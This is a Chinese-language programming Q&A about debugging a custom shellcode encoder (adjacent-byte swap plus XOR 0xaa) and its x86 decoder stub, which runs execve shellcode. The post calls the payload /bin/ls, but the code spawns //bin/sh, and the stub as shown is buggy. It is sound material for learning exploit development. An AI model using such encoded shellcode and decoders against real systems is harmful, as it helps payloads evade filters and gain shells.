【发布时间】:2021-12-28 14:38:45
【问题描述】:
我编写了一个自定义编码器,它以这种方式对我的 shellcode 进行编码:
首先它反转(交换)原始 shellcode 中的所有相邻字节,然后将每个字节与值“0xaa”进行异或 - 我进行了所有完整性检查以确保我的原始 shellcode 没有这个值,这可能会破坏我的shellcode(由于编码导致错误字符)。我的编码器的输出:
Original Shellcode( 25 Bytes) :
0x31,0xc0,0x50,0x68,0x2f,0x2f,0x6c,0x73,0x68,0x2f,0x62,0x69,0x6e,0x89,0xe3,0x50,0x89,0xe2,0x53,0x89,0xe1,0xb0,0xb,0xcd,0x80,
Step1(Reverse adjacent Bytes)-Encoded Shellcode( 25 Bytes) :
0xc0,0x31,0x68,0x50,0x2f,0x2f,0x73,0x6c,0x2f,0x68,0x69,0x62,0x89,0x6e,0x50,0xe3,0xe2,0x89,0x89,0x53,0xb0,0xe1,0xcd,0xb,0x80,
Step2(XOR-each-BYTE-with-0xaa)-Encoded Shellcode( 25 Bytes) :
0x6a,0x9b,0xc2,0xfa,0x85,0x85,0xd9,0xc6,0x85,0xc2,0xc3,0xc8,0x23,0xc4,0xfa,0x49,0x48,0x23,0x23,0xf9,0x1a,0x4b,0x67,0xa1,0x2a,
我最初的 shellcode 的目的:它只是在 Linux 系统上使用“execve”系统调用执行 /bin/ls。完整代码:
global _start
section .text
_start:
; PUSH the first null dword
xor eax, eax
push eax
; PUSH //bin/sh (8 bytes)
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push eax
mov edx, esp
push ebx
mov ecx, esp
mov al, 11
int 0x80
为了执行 shellcode,我正在练习如何编写一个解码器存根,它将解码我自定义编码的 shellcode,然后在目标机器上执行它。
这是我的解码存根汇编代码:
global _start
section .text
_start:
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
mov cl, 12
jmp short call_decoder
; first : decode by XOR again with same value 0xaa
decode1:
pop esi
xor byte [esi], 0xaa
jz decode2
inc esi
jmp short decode1
; second: rearrange the reversed adjacent BYTES, as part of encoding
decode2:
pop esi
mov bl, byte [esi + eax]
mov dl, byte [esi + eax + 1]
xchg bl, dl
mov byte [esi + eax], bl
mov byte [esi + eax + 1], dl
add al, 2
loop decode2
; execute Shellcode
jmp short Shellcode
call_decoder:
call decode1
; an extra byte 0xaa added at the end of encoded shellcode, as a marker to end of shellcode bytes.
Shellcode: db 0x6a,0x9b,0xc2,0xfa,0x85,0x85,0xd9,0xc6,0x85,0xc2,0xc3,0xc8,0x23,0xc4,0xfa,0x49,0x48,0x23,0x23,0xf9,0x1a,0x4b,0x67,0xa1,0x2a,0xaa
但上面的代码给了我一个segment fault。我无法在gdb debugger 上找到故障点。需要一些关于我做错了什么的帮助。
【问题讨论】:
-
您只能弹出 esi 一次,而不是每次都通过两个循环。确保不要在第一个循环中破坏它,这样您仍然可以在第二个循环中使用该值。
-
在第二个循环中,您使用 ecx 作为循环计数器,但您从未将其初始化为代码长度。您可以计算第一个循环中的字节数并将 ecx 设置为 count/2。 (或者使用 cmp eax,count。)
-
@prl 非常感谢。如今,很少有人对低水平感兴趣。你是上帝派来的:)。这么小的错误,在汇编语言中调试起来可能会很麻烦。它现在完美无缺。我正在粘贴更新的代码作为答案,参考您的 cmets。
标签: security assembly x86 disassembly